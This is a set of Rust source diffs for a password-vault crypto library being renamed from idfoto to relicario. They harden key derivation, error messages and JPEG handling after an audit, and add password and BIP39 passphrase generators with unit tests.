/// - [`RelicarioError::Format`] if the data is too short or has an unknown version byte.
/// - [`RelicarioError::Decrypt`] if the AEAD tag verification fails (wrong key or
/// tampered data).
pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
// Minimum valid blob: 1 (version) + 24 (nonce) + 16 (tag) = 41 bytes.
// A zero-length plaintext produces exactly 41 bytes of output.
if data.len() < HEADER_LEN + TAG_LEN {
return Err(IdfotoError::Format(
return Err(RelicarioError::Format(
"data too short to be valid ciphertext".into(),
));
}
let version = data[0];
if version != VERSION_BYTE {
return Err(IdfotoError::Format(format!(
"unknown version byte: 0x{:02x}",
version
)));
let found = data[0];
if found != VERSION_BYTE {
return Err(RelicarioError::UnsupportedFormatVersion {
found,
expected: VERSION_BYTE,
});
}
let nonce = XNonce::from_slice(&data[1..1 + NONCE_LEN]);
@@ -135,14 +137,14 @@ pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
let cipher = XChaCha20Poly1305::new(key.into());
let plaintext = cipher
.decrypt(nonce, ciphertext)
.map_err(|_| IdfotoError::Decrypt)?;
.map_err(|_| RelicarioError::Decrypt)?;
Ok(plaintext)
}
/// Tunable parameters for the Argon2id key derivation function.
///
/// These are stored in the vault's `.idfoto/params.json` so that every client
/// These are stored in the vault's `.relicario/params.json` so that every client
/// derives the same master key from the same inputs. Making them configurable
/// lets tests use fast params (m=256, t=1, p=1) while production uses strong
/// params (m=64MiB, t=3, p=4).
@@ -191,8 +193,8 @@ impl Default for KdfParams {
/// - `passphrase`: the user's passphrase as raw UTF-8 bytes.
/// - `image_secret`: the 32-byte secret extracted from the reference JPEG via
/// [`crate::imgsecret::extract`].
/// - `salt`: a 32-byte vault-specific salt (stored in `.idfoto/salt`).
/// - `params`: the Argon2id tuning parameters (stored in `.idfoto/params.json`).
/// - `salt`: a 32-byte vault-specific salt (stored in `.relicario/salt`).
/// - `params`: the Argon2id tuning parameters (stored in `.relicario/params.json`).
///
/// # Returns
///
@@ -200,36 +202,43 @@ impl Default for KdfParams {
///
/// # Errors
///
/// Returns [`IdfotoError::Kdf`] if the Argon2id parameters are invalid (e.g.,
/// Returns [`RelicarioError::Kdf`] if the Argon2id parameters are invalid (e.g.,
/// memory cost below the library's minimum).
pub fn derive_master_key(
passphrase: &[u8],
image_secret: &[u8; 32],
salt: &[u8; 32],
params: &KdfParams,
) -> Result<[u8; 32]> {
) -> Result<Zeroizing<[u8; 32]>> {
let argon2_params = Params::new(
params.argon2_m,
params.argon2_t,
params.argon2_p,
Some(32),
)
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
let argon2 = Argon2::new(Algorithm::Argon2id, Version::V0x13, argon2_params);
// Concatenate passphrase + image_secret as the password input.
// This ensures both factors contribute to the derived key: knowing only
// the passphrase (without the reference image) or only the image secret
// (without the passphrase) is insufficient to derive the correct master key.
let mut password = Vec::with_capacity(passphrase.len() + 32);
password.extend_from_slice(passphrase);
// Normalize passphrase to NFC. Invalid UTF-8 bytes pass through unchanged.
let nfc_passphrase: Vec<u8> = match std::str::from_utf8(passphrase) {
Ok(s) => s.nfc().collect::<String>().into_bytes(),
Err(_) => passphrase.to_vec(),
};
// Length-prefixed concatenation: [u64_be(len(passphrase))][passphrase]
// [u64_be(32)][image_secret]
// Eliminates the (passphrase, image_secret) boundary ambiguity (audit H1).
let mut password = Zeroizing::new(Vec::with_capacity(8 + nfc_passphrase.len() + 8 + 32));
password.extend_from_slice(&(nfc_passphrase.len() as u64).to_be_bytes());
password.extend_from_slice(&nfc_passphrase);
password.extend_from_slice(&32u64.to_be_bytes());
password.extend_from_slice(image_secret);
let mut output = [0u8; 32];
let mut output = Zeroizing::new([0u8; 32]);
argon2
.hash_password_into(&password, salt, &mut output)
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
.hash_password_into(password.as_slice(), salt, output.as_mut())
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
Ok(output)
}
@@ -256,7 +265,7 @@ mod tests {
let key1 = derive_master_key(passphrase, &image_secret, &salt, &params).unwrap();
let key2 = derive_master_key(passphrase, &image_secret, &salt, &params).unwrap();
assert_eq!(key1, key2);
assert_eq!(*key1, *key2);
}
#[test]
@@ -268,7 +277,7 @@ mod tests {
let key1 = derive_master_key(b"passphrase-one", &image_secret, &salt, &params).unwrap();
let key2 = derive_master_key(b"passphrase-two", &image_secret, &salt, &params).unwrap();
assert_ne!(key1, key2);
assert_ne!(*key1, *key2);
}
#[test]
@@ -283,13 +292,13 @@ mod tests {
let key1 = derive_master_key(passphrase, &image_secret1, &salt, &params).unwrap();
let key2 = derive_master_key(passphrase, &image_secret2, &salt, &params).unwrap();
assert_ne!(key1, key2);
assert_ne!(*key1, *key2);
}
#[test]
fn encrypt_decrypt_round_trip() {
let key = [0xABu8; 32];
let plaintext = b"hello, idfoto!";
let plaintext = b"hello, relicario!";
let ciphertext = encrypt(&key, plaintext).unwrap();
let decrypted = decrypt(&key, &ciphertext).unwrap();
@@ -307,7 +316,7 @@ mod tests {
let result = decrypt(&wrong_key, &ciphertext);
assert!(result.is_err());
assert!(matches!(result.unwrap_err(), IdfotoError::Decrypt));
assert!(matches!(result.unwrap_err(), RelicarioError::Decrypt));
}
#[test]
@@ -335,7 +344,77 @@ mod tests {
let expected_len = 1 + 24 + plaintext.len() + 16;
assert_eq!(ciphertext.len(), expected_len);
// Version byte must be 0x01
assert_eq!(ciphertext[0], 0x01);
// Version byte must be 0x02
assert_eq!(ciphertext[0], 0x02);
}
#[test]
fn length_prefix_eliminates_concatenation_ambiguity() {
// Without length-prefix: ("abc", [0x44, ...]) and ("abcD", [...]) could collide.
// With length-prefix: distinct inputs always yield distinct keys.
let salt = [0u8; 32];
let params = fast_params();
// Pair A: passphrase "abc", image_secret starts with 0x44
let mut img_a = [0u8; 32]; img_a[0] = 0x44;
let key_a = derive_master_key(b"abc", &img_a, &salt, &params).unwrap();
// Pair B: passphrase "abcD" (one extra char), image_secret starts with original byte 1
let mut img_b = [0u8; 32]; img_b[0] = 0x44; // same image
let key_b = derive_master_key(b"abcD", &img_b, &salt, &params).unwrap();
// With length-prefix, the keys MUST differ.
assert_ne!(*key_a, *key_b);
}
#[test]
fn nfc_normalization_collapses_unicode_forms() {
// "café" can be written as NFC (é = U+00E9) or NFD (e + U+0301).
// Both must produce the same key after NFC normalization.
let salt = [0u8; 32];
let img = [0u8; 32];
let params = fast_params();
let nfc = "caf\u{00e9}".as_bytes(); // é precomposed
let nfd = "cafe\u{0301}".as_bytes(); // e + combining acute
let key_nfc = derive_master_key(nfc, &img, &salt, &params).unwrap();
let key_nfd = derive_master_key(nfd, &img, &salt, &params).unwrap();
assert_eq!(*key_nfc, *key_nfd);
}
#[test]
fn master_key_is_zeroized_on_drop() {
// Smoke test: master_key returns a Zeroizing<[u8; 32]>, which compiles only if
// we wrap correctly. The drop wipe is verified by the zeroize crate's tests.
let salt = [0u8; 32];
let img = [0u8; 32];
let params = fast_params();
let key: zeroize::Zeroizing<[u8; 32]> = derive_master_key(b"x", &img, &salt, &params).unwrap();
assert_eq!(key.len(), 32);
}
#[test]
fn version_byte_is_0x02() {
assert_eq!(VERSION_BYTE, 0x02);
}
#[test]
fn decrypt_rejects_v1_blob_with_typed_error() {
// Construct a v1-style blob: [0x01][24 nonce bytes][16 tag bytes].
let mut blob = vec![0x01u8];
blob.extend_from_slice(&[0u8; 24]);
blob.extend_from_slice(&[0u8; 16]);
let key = Zeroizing::new([0u8; 32]);
let err = decrypt(&*key, &blob).expect_err("v1 blob should fail decrypt");
match err {
RelicarioError::UnsupportedFormatVersion { found, expected } => {
assert_eq!(found, 0x01);
assert_eq!(expected, 0x02);
}
other => panic!("expected UnsupportedFormatVersion, got {:?}", other),
}
}
}

View File

@@ -1,19 +1,19 @@
//! Unified error type for the idfoto-core crate.
//! Unified error type for the relicario-core crate.
//!
//! Every fallible function in this crate returns [`Result<T>`], which is an alias
//! for `std::result::Result<T, IdfotoError>`. Using a single error enum keeps the
//! for `std::result::Result<T, RelicarioError>`. Using a single error enum keeps the
//! public API surface predictable and makes error handling in callers (CLI, WASM
//! bindings, mobile FFI) straightforward.
use thiserror::Error;
/// All errors that can originate from idfoto-core operations.
/// All errors that can originate from relicario-core operations.
///
/// Variants are ordered roughly by the pipeline stage where they occur:
/// KDF -> encryption -> decryption -> format parsing -> entry lookup -> image
/// KDF -> encryption -> decryption -> format parsing -> item lookup -> image
/// steganography -> serialization -> device keys.
#[derive(Debug, Error)]
pub enum IdfotoError {
pub enum RelicarioError {
/// The Argon2id key derivation failed. This typically means invalid KDF
/// parameters were supplied (e.g., memory cost below Argon2's minimum).
#[error("key derivation failed: {0}")]
@@ -25,12 +25,8 @@ pub enum IdfotoError {
#[error("encryption failed: {0}")]
Encrypt(String),
/// Authenticated decryption failed. This means either the wrong master key
/// was used (wrong passphrase or wrong reference image) or the ciphertext
/// was tampered with / corrupted in transit or at rest. The error message is
/// intentionally vague to avoid leaking information about which factor was
/// wrong (passphrase vs. image).
#[error("decryption failed: wrong key or corrupted data")]
/// Authenticated decryption failed. Message intentionally opaque (audit M4).
#[error("decryption failed")]
Decrypt,
/// The binary ciphertext blob does not match the expected format (e.g.,
@@ -40,10 +36,20 @@ pub enum IdfotoError {
#[error("invalid vault format: {0}")]
Format(String),
/// A vault entry was looked up by ID but does not exist in the manifest.
/// The string payload is the missing entry ID.
#[error("entry not found: {0}")]
EntryNotFound(String),
#[error("unsupported vault format version: found 0x{found:02x}, expected 0x{expected:02x}")]
UnsupportedFormatVersion { found: u8, expected: u8 },
/// An item was looked up by ID but does not exist in the manifest.
#[error("item not found: {0}")]
ItemNotFound(String),
/// A passphrase failed the strength gate at vault creation (audit H3).
#[error("passphrase strength insufficient (score {score}/4)")]
WeakPassphrase { score: u8 },
/// An attachment exceeded the per-attachment cap from VaultSettings.
#[error("attachment too large: {size} bytes > {max} bytes max")]
AttachmentTooLarge { size: u64, max: u64 },
/// A general error from the image steganography subsystem (imgsecret).
/// Covers issues like failing to decode the carrier JPEG or failing to
@@ -83,4 +89,45 @@ pub enum IdfotoError {
}
/// Crate-wide result alias, reducing boilerplate in function signatures.
pub type Result<T> = std::result::Result<T, IdfotoError>;
pub type Result<T> = std::result::Result<T, RelicarioError>;
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn decrypt_error_message_is_opaque() {
let err = RelicarioError::Decrypt;
assert_eq!(format!("{}", err), "decryption failed");
}
#[test]
fn weak_passphrase_carries_score() {
let err = RelicarioError::WeakPassphrase { score: 1 };
let s = format!("{}", err);
assert!(s.contains("passphrase"));
assert!(s.contains("strength"));
}
#[test]
fn attachment_too_large_reports_sizes() {
let err = RelicarioError::AttachmentTooLarge { size: 11_000_000, max: 10_485_760 };
let s = format!("{}", err);
assert!(s.contains("11000000"));
assert!(s.contains("10485760"));
}
#[test]
fn item_not_found_carries_id() {
let err = RelicarioError::ItemNotFound("abc123".to_string());
assert!(format!("{}", err).contains("abc123"));
}
#[test]
fn unsupported_format_version_reports_byte() {
let err = RelicarioError::UnsupportedFormatVersion { found: 0x01, expected: 0x02 };
let s = format!("{}", err);
assert!(s.contains("01") || s.contains("1"));
assert!(s.contains("02") || s.contains("2"));
}
}

View File

@@ -0,0 +1,269 @@
//! Password and passphrase generators. CSPRNG-only; rejection-sampled to
//! eliminate modulo bias. Strength rating via zxcvbn.
use bip39::{Language, Mnemonic};
use rand::distributions::{Distribution, Uniform};
use rand::rngs::OsRng;
use rand::RngCore;
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
use crate::settings::{Capitalization, CharClasses, GeneratorRequest, SymbolCharset};
const SAFE_SYMBOLS: &[u8] = b"!@#$%^&*-_=+";
const EXTENDED_SYMBOLS: &[u8] = b"!@#$%^&*-_=+~?.";
const LOWER: &[u8] = b"abcdefghijklmnopqrstuvwxyz";
const UPPER: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const DIGITS: &[u8] = b"0123456789";
pub fn generate_password(req: &GeneratorRequest) -> Result<Zeroizing<String>> {
match req {
GeneratorRequest::Random { length, classes, symbol_charset } => {
random_password(*length, classes, symbol_charset)
}
GeneratorRequest::Bip39 { .. } => Err(RelicarioError::Format(
"use generate_passphrase() for BIP39 requests".into(),
)),
}
}
fn random_password(
length: u32,
classes: &CharClasses,
symbol_charset: &SymbolCharset,
) -> Result<Zeroizing<String>> {
if length == 0 || length > 128 {
return Err(RelicarioError::Format("length must be 1..=128".into()));
}
let mut charset: Vec<u8> = Vec::new();
if classes.lower { charset.extend_from_slice(LOWER); }
if classes.upper { charset.extend_from_slice(UPPER); }
if classes.digits { charset.extend_from_slice(DIGITS); }
if classes.symbols {
let symbols: &[u8] = match symbol_charset {
SymbolCharset::SafeOnly => SAFE_SYMBOLS,
SymbolCharset::Extended => EXTENDED_SYMBOLS,
SymbolCharset::Custom(s) => {
if !s.is_ascii() {
return Err(RelicarioError::Format(
"SymbolCharset::Custom must be ASCII-only".into(),
));
}
s.as_bytes()
}
};
charset.extend_from_slice(symbols);
}
if charset.is_empty() {
return Err(RelicarioError::Format("at least one character class required".into()));
}
let dist = Uniform::from(0..charset.len());
let mut rng = OsRng;
let bytes: Vec<u8> = (0..length).map(|_| charset[dist.sample(&mut rng)]).collect();
Ok(Zeroizing::new(String::from_utf8(bytes).expect("ascii-only charset")))
}
pub fn generate_passphrase(req: &GeneratorRequest) -> Result<Zeroizing<String>> {
match req {
GeneratorRequest::Bip39 { word_count, separator, capitalization } => {
bip39_passphrase(*word_count, separator, *capitalization)
}
GeneratorRequest::Random { .. } => Err(RelicarioError::Format(
"use generate_password() for Random requests".into(),
)),
}
}
fn bip39_passphrase(word_count: u32, separator: &str, cap: Capitalization) -> Result<Zeroizing<String>> {
if !matches!(word_count, 3..=12) {
return Err(RelicarioError::Format("word_count must be 3..=12".into()));
}
// bip39 v2 requires entropy 128256 bits in multiples of 32 bits (4 bytes).
// We always generate 128 bits (16 bytes) → 12 words, then take the first
// word_count words. This gives full-entropy sourcing even for short passphrases.
let mut entropy = Zeroizing::new([0u8; 16]);
OsRng.fill_bytes(entropy.as_mut_slice());
let m = Mnemonic::from_entropy_in(Language::English, entropy.as_slice())
.map_err(|e| RelicarioError::Format(format!("bip39: {e}")))?;
let words: Vec<String> = m.words().take(word_count as usize).map(|w| {
match cap {
Capitalization::Lower => w.to_ascii_lowercase(),
Capitalization::Upper => w.to_ascii_uppercase(),
Capitalization::FirstOfEach | Capitalization::Title => {
let mut chars = w.chars();
chars.next().map(|c| c.to_ascii_uppercase().to_string())
.unwrap_or_default() + chars.as_str()
}
Capitalization::Mixed => {
w.chars().enumerate().map(|(i, c)| {
if i % 2 == 0 { c.to_ascii_uppercase() } else { c }
}).collect()
}
}
}).collect();
Ok(Zeroizing::new(words.join(separator)))
}
/// Returns zxcvbn's 0-4 score (higher is stronger) and the estimated guesses.
#[derive(Debug, Clone, Copy)]
pub struct StrengthEstimate {
pub score: u8,
pub guesses_log10: f64,
}
pub fn rate_passphrase(p: &str) -> StrengthEstimate {
let est = zxcvbn::zxcvbn(p, &[]);
StrengthEstimate {
score: est.score().into(),
guesses_log10: est.guesses_log10(),
}
}
/// Strength gate at vault creation (audit H3): require score >= 3.
pub fn validate_passphrase_strength(p: &str) -> Result<()> {
let est = rate_passphrase(p);
if est.score < 3 {
return Err(RelicarioError::WeakPassphrase { score: est.score });
}
Ok(())
}
#[cfg(test)]
mod bip39_tests {
use super::*;
#[test]
fn bip39_default_is_5_space_separated_words() {
let req = GeneratorRequest::Bip39 {
word_count: 5,
separator: " ".into(),
capitalization: Capitalization::Lower,
};
let pw = generate_passphrase(&req).unwrap();
assert_eq!(pw.split(' ').count(), 5);
}
#[test]
fn bip39_dash_separator() {
let req = GeneratorRequest::Bip39 {
word_count: 4,
separator: "-".into(),
capitalization: Capitalization::Lower,
};
let pw = generate_passphrase(&req).unwrap();
assert_eq!(pw.split('-').count(), 4);
assert!(!pw.contains(' '));
}
#[test]
fn bip39_first_of_each_capitalizes() {
let req = GeneratorRequest::Bip39 {
word_count: 5,
separator: " ".into(),
capitalization: Capitalization::FirstOfEach,
};
let pw = generate_passphrase(&req).unwrap();
for word in pw.split(' ') {
let first = word.chars().next().unwrap();
assert!(first.is_ascii_uppercase(), "word {word} should start uppercase");
}
}
#[test]
fn bip39_rejects_bad_word_count() {
let req = GeneratorRequest::Bip39 {
word_count: 2,
separator: " ".into(),
capitalization: Capitalization::Lower,
};
assert!(generate_passphrase(&req).is_err());
}
#[test]
fn rate_passphrase_strong_one_passes_gate() {
// 6-word bip39 passphrase
let req = GeneratorRequest::Bip39 {
word_count: 6,
separator: " ".into(),
capitalization: Capitalization::Lower,
};
let pw = generate_passphrase(&req).unwrap();
assert!(validate_passphrase_strength(&pw).is_ok());
}
#[test]
fn rate_passphrase_weak_fails_gate() {
assert!(validate_passphrase_strength("password").is_err());
assert!(validate_passphrase_strength("12345678").is_err());
assert!(validate_passphrase_strength("hunter2").is_err());
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn random_default_password_is_20_chars() {
let req = GeneratorRequest::default();
let pw = generate_password(&req).unwrap();
assert_eq!(pw.len(), 20);
}
#[test]
fn rejects_zero_length() {
let req = GeneratorRequest::Random {
length: 0,
classes: CharClasses { lower: true, upper: false, digits: false, symbols: false },
symbol_charset: SymbolCharset::SafeOnly,
};
assert!(generate_password(&req).is_err());
}
#[test]
fn rejects_no_classes() {
let req = GeneratorRequest::Random {
length: 8,
classes: CharClasses { lower: false, upper: false, digits: false, symbols: false },
symbol_charset: SymbolCharset::SafeOnly,
};
assert!(generate_password(&req).is_err());
}
#[test]
fn lower_only_password_uses_lowercase() {
let req = GeneratorRequest::Random {
length: 100,
classes: CharClasses { lower: true, upper: false, digits: false, symbols: false },
symbol_charset: SymbolCharset::SafeOnly,
};
let pw = generate_password(&req).unwrap();
assert!(pw.chars().all(|c| c.is_ascii_lowercase()));
}
#[test]
fn safe_symbols_excludes_quotes_and_brackets() {
let req = GeneratorRequest::Random {
length: 128,
classes: CharClasses { lower: false, upper: false, digits: false, symbols: true },
symbol_charset: SymbolCharset::SafeOnly,
};
let pw = generate_password(&req).unwrap();
for c in pw.chars() {
assert!(!matches!(c, '\'' | '"' | '`' | ',' | ';' | ':' | '{' | '}' | '[' | ']' | '<' | '>' | '(' | ')' | '|' | '\\' | '/' | '?'),
"safe charset must not include {c}");
}
}
#[test]
fn custom_charset_rejects_non_ascii() {
let req = GeneratorRequest::Random {
length: 8,
classes: CharClasses { lower: false, upper: false, digits: false, symbols: true },
symbol_charset: SymbolCharset::Custom("ñé".into()),
};
let err = generate_password(&req);
assert!(err.is_err(), "non-ASCII custom charset must be rejected");
}
}

View File

@@ -0,0 +1,124 @@
//! Random and content-addressed identifiers for items, fields, and attachments.
//!
//! - `ItemId` and `FieldId` are random 16-char hex strings (64 bits of entropy)
//! generated via `OsRng` (audit M8: bumped from the v1 8-char/32-bit format).
//! - `AttachmentId` is the first 16 hex chars of `sha256(plaintext)` —
//! content-addressed so identical plaintext blobs deduplicate naturally in git.
use rand::rngs::OsRng;
use rand::RngCore;
use sha2::{Digest, Sha256};
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(transparent)]
pub struct ItemId(pub String);
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(transparent)]
pub struct FieldId(pub String);
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(transparent)]
pub struct AttachmentId(pub String);
impl ItemId {
pub fn new() -> Self {
let mut bytes = [0u8; 8];
OsRng.fill_bytes(&mut bytes);
Self(hex::encode(bytes))
}
pub fn as_str(&self) -> &str { &self.0 }
}
impl Default for ItemId {
fn default() -> Self { Self::new() }
}
impl FieldId {
pub fn new() -> Self {
let mut bytes = [0u8; 8];
OsRng.fill_bytes(&mut bytes);
Self(hex::encode(bytes))
}
pub fn as_str(&self) -> &str { &self.0 }
}
impl Default for FieldId {
fn default() -> Self { Self::new() }
}
impl AttachmentId {
pub fn from_plaintext(plaintext: &[u8]) -> Self {
let digest = Sha256::digest(plaintext);
Self(hex::encode(&digest[..8]))
}
pub fn as_str(&self) -> &str { &self.0 }
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn item_id_is_16_hex_chars() {
let id = ItemId::new();
assert_eq!(id.0.len(), 16);
assert!(id.0.chars().all(|c| c.is_ascii_hexdigit()));
}
#[test]
fn item_ids_are_unique() {
let mut seen = std::collections::HashSet::new();
for _ in 0..10_000 {
assert!(seen.insert(ItemId::new().0));
}
}
#[test]
fn field_id_is_16_hex_chars() {
let id = FieldId::new();
assert_eq!(id.0.len(), 16);
assert!(id.0.chars().all(|c| c.is_ascii_hexdigit()));
}
#[test]
fn field_ids_are_unique() {
let mut seen = std::collections::HashSet::new();
for _ in 0..10_000 {
assert!(seen.insert(FieldId::new().0));
}
}
#[test]
fn attachment_id_is_deterministic() {
let plaintext = b"hello world";
let a = AttachmentId::from_plaintext(plaintext);
let b = AttachmentId::from_plaintext(plaintext);
assert_eq!(a, b);
}
#[test]
fn attachment_id_changes_with_plaintext() {
let a = AttachmentId::from_plaintext(b"hello");
let b = AttachmentId::from_plaintext(b"world");
assert_ne!(a, b);
}
#[test]
fn attachment_id_is_16_hex_chars() {
let id = AttachmentId::from_plaintext(b"any bytes");
assert_eq!(id.0.len(), 16);
assert!(id.0.chars().all(|c| c.is_ascii_hexdigit()));
}
#[test]
fn ids_serialize_as_bare_strings() {
let item = ItemId("abcdef0123456789".to_string());
let json = serde_json::to_string(&item).unwrap();
assert_eq!(json, "\"abcdef0123456789\"");
let parsed: ItemId = serde_json::from_str(&json).unwrap();
assert_eq!(parsed, item);
}
}

View File

@@ -1,6 +1,6 @@
//! DCT-based steganographic embedding of a 256-bit secret in JPEG images.
//!
//! This is the novel component of idfoto. It hides a 32-byte secret inside a
//! This is the novel component of relicario. It hides a 32-byte secret inside a
//! JPEG image's luminance channel using Quantization Index Modulation (QIM) on
//! mid-frequency DCT coefficients, with majority voting across multiple redundant
//! copies for robustness.
@@ -39,7 +39,7 @@
//! - Mild cropping (up to ~10% from edges, within the 15% crumple zone)
//! - Color space conversions (embedding is in luminance only)
use crate::error::{IdfotoError, Result};
use crate::error::{RelicarioError, Result};
use image::codecs::jpeg::JpegEncoder;
use image::ImageReader;
use image::{ImageEncoder, Rgb, RgbImage};
@@ -65,6 +65,11 @@ const QUANT_STEP: f64 = 50.0;
/// this cannot hold enough 8x8 blocks for reliable embedding.
const MIN_DIMENSION: u32 = 100;
/// Maximum image dimension (width or height) in pixels. Images larger than
/// this are rejected before full decode to prevent DoS via attacker-supplied
/// oversized JPEGs (audit M3).
pub const MAX_DIMENSION: u32 = 10_000;
/// Number of secret bits to embed: 256 bits = 32 bytes.
const SECRET_BITS: usize = 256;
@@ -112,6 +117,64 @@ const EMBED_POSITIONS: [(usize, usize); 12] = [
(2, 3), // zig-zag 14-17
];
// ─── Dimension guard ─────────────────────────────────────────────────────────
/// Walk JPEG markers until we hit an SOF (start-of-frame) marker, which
/// carries the image dimensions in bytes 5..=8 of its segment.
///
/// This peek does NOT decode any pixel data, so an oversized JPEG header is
/// rejected in O(marker-count) time without allocating a frame buffer.
fn peek_jpeg_dimensions(jpeg: &[u8]) -> Result<(u32, u32)> {
let mut i = 0;
while i + 1 < jpeg.len() {
if jpeg[i] != 0xFF {
i += 1;
continue;
}
let marker = jpeg[i + 1];
match marker {
0xD8 | 0xD9 => {
i += 2;
continue;
} // SOI / EOI
0xC0..=0xC3 | 0xC5..=0xC7 | 0xC9..=0xCB | 0xCD..=0xCF => {
// SOFn — height in [i+5..i+7], width in [i+7..i+9]
if i + 8 >= jpeg.len() {
return Err(RelicarioError::ImgSecret("truncated SOF marker".into()));
}
let height = u16::from_be_bytes([jpeg[i + 5], jpeg[i + 6]]) as u32;
let width = u16::from_be_bytes([jpeg[i + 7], jpeg[i + 8]]) as u32;
return Ok((width, height));
}
_ => {
if i + 3 >= jpeg.len() {
return Err(RelicarioError::ImgSecret("truncated marker segment".into()));
}
let seg_len = u16::from_be_bytes([jpeg[i + 2], jpeg[i + 3]]) as usize;
i += 2 + seg_len;
}
}
}
Err(RelicarioError::ImgSecret(
"no SOF marker found in JPEG".into(),
))
}
/// Reject JPEGs that claim dimensions exceeding [`MAX_DIMENSION`].
///
/// Called at the entry point of both `embed` and `extract` to prevent
/// attacker-supplied 32000×32000 images from wedging the WASM service worker
/// during the expensive DCT extraction pass (audit M3).
fn enforce_dimension_cap(jpeg: &[u8]) -> Result<()> {
let (w, h) = peek_jpeg_dimensions(jpeg)?;
if w > MAX_DIMENSION || h > MAX_DIMENSION {
return Err(RelicarioError::ImgSecret(format!(
"image dimensions {w}x{h} exceed {MAX_DIMENSION}x{MAX_DIMENSION} cap"
)));
}
Ok(())
}
// ─── YChannel ────────────────────────────────────────────────────────────────
/// The luminance (Y) channel of an image, stored as a flat array of f64 values.
@@ -179,10 +242,10 @@ struct EmbedRegion {
fn extract_y_channel(jpeg_bytes: &[u8]) -> Result<YChannel> {
let reader = ImageReader::new(Cursor::new(jpeg_bytes))
.with_guessed_format()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
let img = reader
.decode()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
let rgb = img.to_rgb8();
let (width, height) = (rgb.width() as usize, rgb.height() as usize);
let mut data = Vec::with_capacity(width * height);
@@ -527,10 +590,10 @@ fn select_embed_blocks(region: &EmbedRegion, target_count: usize) -> Vec<(usize,
fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u8>> {
let reader = ImageReader::new(Cursor::new(original_jpeg))
.with_guessed_format()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
let img = reader
.decode()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
let rgb = img.to_rgb8();
let (width, height) = (rgb.width(), rgb.height());
@@ -572,7 +635,7 @@ fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u
let encoder = JpegEncoder::new_with_quality(&mut buf, 92);
encoder
.write_image(output.as_raw(), width, height, image::ExtendedColorType::Rgb8)
.map_err(|e| IdfotoError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
Ok(buf)
}
@@ -597,14 +660,15 @@ fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u
///
/// # Errors
///
/// - [`IdfotoError::ImageTooSmall`] if the image is below minimum dimensions
/// - [`RelicarioError::ImageTooSmall`] if the image is below minimum dimensions
/// or does not have enough blocks for reliable embedding.
/// - [`IdfotoError::ImgSecret`] if the image cannot be decoded or re-encoded.
/// - [`RelicarioError::ImgSecret`] if the image cannot be decoded or re-encoded.
pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
enforce_dimension_cap(carrier_jpeg)?;
let mut y = extract_y_channel(carrier_jpeg)?;
if (y.width as u32) < MIN_DIMENSION || (y.height as u32) < MIN_DIMENSION {
return Err(IdfotoError::ImageTooSmall {
return Err(RelicarioError::ImageTooSmall {
min_width: MIN_DIMENSION,
min_height: MIN_DIMENSION,
actual_width: y.width as u32,
@@ -616,7 +680,7 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
let total_blocks = region.blocks_x * region.blocks_y;
if total_blocks < BLOCKS_PER_COPY * MIN_COPIES {
return Err(IdfotoError::ImageTooSmall {
return Err(RelicarioError::ImageTooSmall {
min_width: MIN_DIMENSION,
min_height: MIN_DIMENSION,
actual_width: y.width as u32,
@@ -669,9 +733,10 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
///
/// # Errors
///
/// - [`IdfotoError::ExtractionFailed`] if no valid secret could be recovered
/// - [`RelicarioError::ExtractionFailed`] if no valid secret could be recovered
/// (image was never watermarked, or was too heavily recompressed/cropped).
pub fn extract(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
enforce_dimension_cap(jpeg_bytes)?;
extract_with_crop_recovery(jpeg_bytes)
}
@@ -695,7 +760,7 @@ fn try_extract_with_layout(
) -> Result<[u8; 32]> {
let positions = compute_embed_positions(orig_w, orig_h);
if positions.is_empty() {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
let region = compute_region(orig_w, orig_h);
@@ -750,14 +815,14 @@ fn try_extract_with_layout(
let mut result_bits = vec![0u8; SECRET_BITS];
for i in 0..SECRET_BITS {
if votes_total[i] == 0 {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
let ones = votes_one[i];
let zeros = votes_total[i] - ones;
let majority = ones.max(zeros);
let confidence = majority as f64 / votes_total[i] as f64;
if confidence < 0.60 {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
result_bits[i] = if ones > zeros { 1 } else { 0 };
}
@@ -785,7 +850,7 @@ fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
